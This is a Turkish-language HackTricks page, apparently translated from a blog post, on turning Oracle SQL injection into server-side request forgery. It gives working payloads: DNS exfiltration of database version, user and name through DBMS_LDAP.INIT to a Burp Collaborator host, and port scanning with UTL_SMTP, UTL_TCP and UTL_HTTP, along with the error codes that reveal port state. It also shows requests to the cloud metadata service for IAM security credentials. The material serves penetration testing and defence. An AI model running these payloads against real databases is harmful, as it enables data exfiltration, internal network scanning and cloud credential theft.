# Oracle injection {{#include ../../banners/hacktricks-training.md}} **Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback makinesi kopyasıyla sunun.** ## SSRF Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmanın bir yolu olarak kullanılır. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz. Oracle kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. Arkadaşım ve [Appsecco](https://appsecco.com) ile iş arkadaşım [Abhisek Datta](https://github.com/abhisek), t2.large AWS Ubuntu makinesinde ve Docker ile bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini bana gösterdi. Docker komutunu `--network="host"` bayrağı ile çalıştırdım, böylece bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebildim. ``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` #### URL veya Hostname/Port Numarası belirtimini destekleyen Oracle paketleri Bir host ve port belirtimini destekleyen paketler ve fonksiyonlar bulmak için, [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) üzerinde bir Google araması yaptım. Özellikle, ``` site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum" ``` Arama aşağıdaki sonuçları döndürdü (hepsi dışa ağ bağlantısı gerçekleştirmek için kullanılamaz) - DBMS_NETWORK_ACL_ADMIN - UTL_SMTP - DBMS_XDB - DBMS_SCHEDULER - DBMS_XDB_CONFIG - DBMS_AQ - UTL_MAIL - DBMS_AQELM - DBMS_NETWORK_ACL_UTILITY - DBMS_MGD_ID_UTL - UTL_TCP - DBMS_MGWADM - DBMS_STREAMS_ADM - UTL_HTTP Bu kaba arama açıkça `DBMS_LDAP` gibi paketleri atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim. Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir göz atalım. **DBMS_LDAP.INIT** `DBMS_LDAP` paketi, LDAP sunucularından veri erişimine izin verir. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır. Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösteren belgelenmiştir. ``` SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; ``` Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalıştırmak için de kullanabilirsiniz. İşte birkaç örnek ``` SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; ``` `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, bir oturum değerinin portun açık olduğunu göstermesine rağmen portun kapalı olduğunu gösterir. **UTL_SMTP** `UTL_SMTP` paketi, SMTP üzerinden e-posta göndermek için tasarlanmıştır. [Oracle belgeleri sitesinde sağlanan örnek, bu paketi kullanarak nasıl e-posta gönderebileceğinizi göstermektedir](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Ancak bizim için ilginç olan, bir ana bilgisayar ve port belirtme yeteneğidir. Aşağıda, 2 saniyelik bir zaman aşımı ile `UTL_SMTP.OPEN_CONNECTION` fonksiyonu ile basit bir örnek gösterilmektedir. ``` DECLARE c utl_smtp.connection; BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2); END; ``` ``` DECLARE c utl_smtp.connection; BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2); END; ``` `ORA-29276: transfer timeout` açık bir portun olduğunu gösterir ancak SMTP bağlantısı kurulmamıştır, `ORA-29278: SMTP transient error: 421 Service not available` ise portun kapalı olduğunu gösterir. **UTL_TCP** `UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir, çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir. Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapılacağını göstermektedir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz. ``` set serveroutput on size 30000; SET SERVEROUTPUT ON DECLARE c utl_tcp.connection; retval pls_integer; BEGIN c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2); retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0'); retval := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END; / ``` ``` DECLARE c utl_tcp.connection; retval pls_integer; BEGIN c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4); retval := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END; ``` İlginç bir şekilde, ham TCP istekleri oluşturma yeteneği sayesinde, bu paket tüm bulut sağlayıcılarının Instance meta-veri hizmetine sorgu göndermek için de kullanılabilir, çünkü yöntem türü ve ek başlıklar TCP isteği içinde iletilebilir. **UTL_HTTP ve Web İstekleri** Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanabilirsiniz.` ``` select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; ``` Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz: ``` select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; ``` `ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunu gösterirken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunu gösterir. Geçmişte çeşitli başarılarla kullandığım başka bir paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut türünün `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; {{#include ../../banners/hacktricks-training.md}}